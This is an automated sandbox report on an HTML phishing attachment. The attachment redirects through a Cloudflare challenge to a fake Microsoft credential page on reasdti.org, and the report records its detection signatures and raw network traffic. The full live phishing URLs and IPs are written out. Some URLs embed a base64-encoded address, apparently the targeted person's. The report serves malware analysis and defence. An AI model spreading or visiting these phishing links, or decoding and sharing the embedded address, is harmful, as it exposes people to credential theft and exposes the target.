Edit tour

Windows Analysis Report
Paradigm-corp00990__098.html

Overview

General Information

Sample name:	Paradigm-corp00990__098.html
Analysis ID:	1645442
MD5:	448fb5d55cd720e407dc5b8eb69fc248
SHA1:	ca45fd1056e8de1cf0b08edad6dd18834ea87660
SHA256:	55d6378973f937b62196eaf13e5b8d0a693b4231c477da81b12754329c50bb85
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

HTML file submission requesting Cloudflare captcha challenge

Yara detected HtmlPhish77

Detected javascript redirector / loader

Yara detected JavaScript embedded in SVG

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid 'forgot password' link found

Invalid T&C link found

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6896 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Paradigm-corp00990__098.html MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7092 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1916,i,12235142605793927656,17408399132396075855,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2152 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Paradigm-corp00990__098.html	JoeSecurity_JavaScriptembeddedinSVG	Yara detected JavaScript embedded in SVG	Joe Security

HTML

Source	Rule	Description	Author
0.0.pages.csv	JoeSecurity_JavaScriptembeddedinSVG	Yara detected JavaScript embedded in SVG	Joe Security
4.5.pages.csv	JoeSecurity_HtmlPhish_77	Yara detected HtmlPhish_77	Joe Security
5.6.pages.csv	JoeSecurity_HtmlPhish_77	Yara detected HtmlPhish_77	Joe Security

Suricata Signatures

ET PHISHING Suspicious HTML Decimal Obfuscated Title - Possible Phishing Landing Apr 19 2017

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-21T19:08:07.849118+0100	2024228	2	Possible Social Engineering Attempted	178.128.102.215	443	192.168.2.16	49741	TCP
2025-03-21T19:08:10.344176+0100	2024228	2	Possible Social Engineering Attempted	178.128.102.215	443	192.168.2.16	49742	TCP
2025-03-21T19:08:31.039318+0100	2024228	2	Possible Social Engineering Attempted	178.128.102.215	443	192.168.2.16	49744	TCP

Joe Sandbox Signatures

• Phishing
• Compliance
• Software Vulnerabilities
• Networking
• System Summary
• Data Obfuscation

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verify

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'reasdti.org' does not match the legitimate domain for Microsoft., The URL 'reasdti.org' does not contain any recognizable association with Microsoft., The domain 'reasdti.org' is suspicious as it does not relate to Microsoft and has no known association with the brand., Presence of a password input field on a non-legitimate domain increases the risk of phishing. DOM: 4.5.pages.csv

Yara detected HtmlPhish77

Source: Yara match	File source: 4.5.pages.csv, type: HTML
Source: Yara match	File source: 5.6.pages.csv, type: HTML

Detected javascript redirector / loader

Source: Paradigm-corp00990__098.html

HTTP Parser: Low number of body elements: 1

Yara detected JavaScript embedded in SVG

Source: Yara match	File source: Paradigm-corp00990__098.html, type: SAMPLE
Source: Yara match	File source: 0.0.pages.csv, type: HTML

Source: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verify

HTTP Parser: Number of links: 0

Source: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verify

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verify

HTTP Parser: Base64 decoded: Sign-in options

Source: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verify

HTTP Parser: Title: Confirm your credentials does not match URL

Source: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verify

HTTP Parser: Invalid link: Forgot password?

Source: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verify	HTTP Parser: Invalid link: Terms of use
Source: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verify	HTTP Parser: Invalid link: Privacy & cookies

Source: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verify

HTTP Parser: <input type="password" .../> found

Source: Paradigm-corp00990__098.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Paradigm-corp00990__098.html	HTTP Parser: No favicon
Source: https://reasdti.org/#dZbQYmVja3liQHBhcmFkaWdtLWNvcnAuY29tdZbQ	HTTP Parser: No favicon

Source: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verify

HTTP Parser: No <meta name="author".. found

Source: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verify

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 178.128.102.215:443 -> 192.168.2.16:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.128.102.215:443 -> 192.168.2.16:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.128.102.215:443 -> 192.168.2.16:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.128.102.215:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.41.4:443 -> 192.168.2.16:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.128.102.215:443 -> 192.168.2.16:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.128.102.215:443 -> 192.168.2.16:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.128.102.215:443 -> 192.168.2.16:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.65.229:443 -> 192.168.2.16:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.16:49749 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 24MB later: 96MB

Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 151.101.65.229 151.101.65.229
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137

Source: Network traffic	Suricata IDS: 2024228 - Severity 2 - ET PHISHING Suspicious HTML Decimal Obfuscated Title - Possible Phishing Landing Apr 19 2017 : 178.128.102.215:443 -> 192.168.2.16:49741
Source: Network traffic	Suricata IDS: 2024228 - Severity 2 - ET PHISHING Suspicious HTML Decimal Obfuscated Title - Possible Phishing Landing Apr 19 2017 : 178.128.102.215:443 -> 192.168.2.16:49744
Source: Network traffic	Suricata IDS: 2024228 - Severity 2 - ET PHISHING Suspicious HTML Decimal Obfuscated Title - Possible Phishing Landing Apr 19 2017 : 178.128.102.215:443 -> 192.168.2.16:49742

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.163
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.40.163
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: reasdti.orgConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://reasdti.org/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://reasdti.org/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://reasdti.org/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/4r76g/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://reasdti.org/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=923f643858f642bb&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/4r76g/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/4r76g/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /page/images/favicon.ico HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://reasdti.org/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /page/images/favicon.ico HTTP/1.1Host: reasdti.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1717960546:1742578069:1LRtxGnH81EQdVleKIamZTskeIFOD3hNgfHENVXJC98/923f643858f642bb/xRjnZqr53VvWIdfsIARKdmCiu_.AQunHFB6Q2DNEO9o-1742580473-1.1.1.1-0R9KGMBFX4wsC04H9v.qz6CdcYlJAEr4zWN.mjusEyfNH0G6AsN7DGlu3TA6Rn63 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/923f643858f642bb/1742580474929/44d75a5c910fe65978e14fa095b662faed2ccbcba571ca39bda2d8c2950e70a5/ENz7gflP3lBXa-I HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/4r76g/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/923f643858f642bb/1742580474937/95BEwmt9hKffisQ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/4r76g/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/d/923f643858f642bb/1742580474937/95BEwmt9hKffisQ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1717960546:1742578069:1LRtxGnH81EQdVleKIamZTskeIFOD3hNgfHENVXJC98/923f643858f642bb/xRjnZqr53VvWIdfsIARKdmCiu_.AQunHFB6Q2DNEO9o-1742580473-1.1.1.1-0R9KGMBFX4wsC04H9v.qz6CdcYlJAEr4zWN.mjusEyfNH0G6AsN7DGlu3TA6Rn63 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1717960546:1742578069:1LRtxGnH81EQdVleKIamZTskeIFOD3hNgfHENVXJC98/923f643858f642bb/xRjnZqr53VvWIdfsIARKdmCiu_.AQunHFB6Q2DNEO9o-1742580473-1.1.1.1-0R9KGMBFX4wsC04H9v.qz6CdcYlJAEr4zWN.mjusEyfNH0G6AsN7DGlu3TA6Rn63 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?cf-turnstile-response=0.InkHdckrmd1dBi_qntIESJkuFiVQQEx_YV-OueAcyRPOhQlUvgUI_Y4DftoT9GFTDdS5AUw3StOwFqxtVWe9YRw-uNrvUFv_SWQp_mgrH7yVkY8-6MB8o4DuU5yfysVQAtKcOgsFgcp79lCK-ewlhm7YM5epcamevhpWfzmfkAfA-kQ3EBtiO7vvCfAxb2ibv4_6H18uJL36uldKe-lF8b_OJxSSm0sxZUKH-VLzBw2j0buZlkA9yh8JTttMCoVAhkTfI-uxgFMawBMTxbsCOyqOpBpGGc67-DrBcLZb8Vmb5Dy81u6qL07vcTDBCswpRINm1wVExgqKKjXvnTVURYsPMKwkRekOr9osZlD-weulEw6HBKyhf8XG6xBY_sgIl2IRDQrB_yJgvIiRNMHJA23OiMWb0upgOBbLoFxp0yNthBA01Tam6FEK_telicbC7JkaeVwIB-YGSZsW3YSmdg355MUCs-FqBICw9-ScPz_KKKu517f_hP0_1YoaryFqcelqhWav_Ubqhaaa4TRSmM1fuU4X-tbbVRj3leEzyjFsYFl9anhb6NR71eTKrVH-wi7NXsqoZqK5T8hXimzBlGdhsQamyC22HugQjJJr5Cag4oZU0lfYlmesh_Ao3FepmCSsOZSWfVG6JW4rEFCiXzcfxAqNLIWxAVJiUpkRIxODzVuUKpb7EEoGZeUZnU5RAPzbyZxQSjd_yd1LxZNethAV98dUsP80o_4b0SCtJeakEb-n0nBzg3GQKDUsKC5xGmShakT7Q715FicABX4uqmG84-5fi9nYqxItTVZgtnHDNvZFZmGK22QcLBqHMyIjf3UX9aW2scoi_xioENEIbQ.mELfaTvVRmNy9VpvbgqH5Q.8e5844d20e52a6d4b10acb1595c6eb6181a425781388cadc4300a66413173e55 HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://reasdti.org/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
Source: global traffic	HTTP traffic detected: GET /5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/index?a=YmVja3liQHBhcmFkaWdtLWNvcnAuY29t HTTP/1.1Host: reasdti.orgConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: 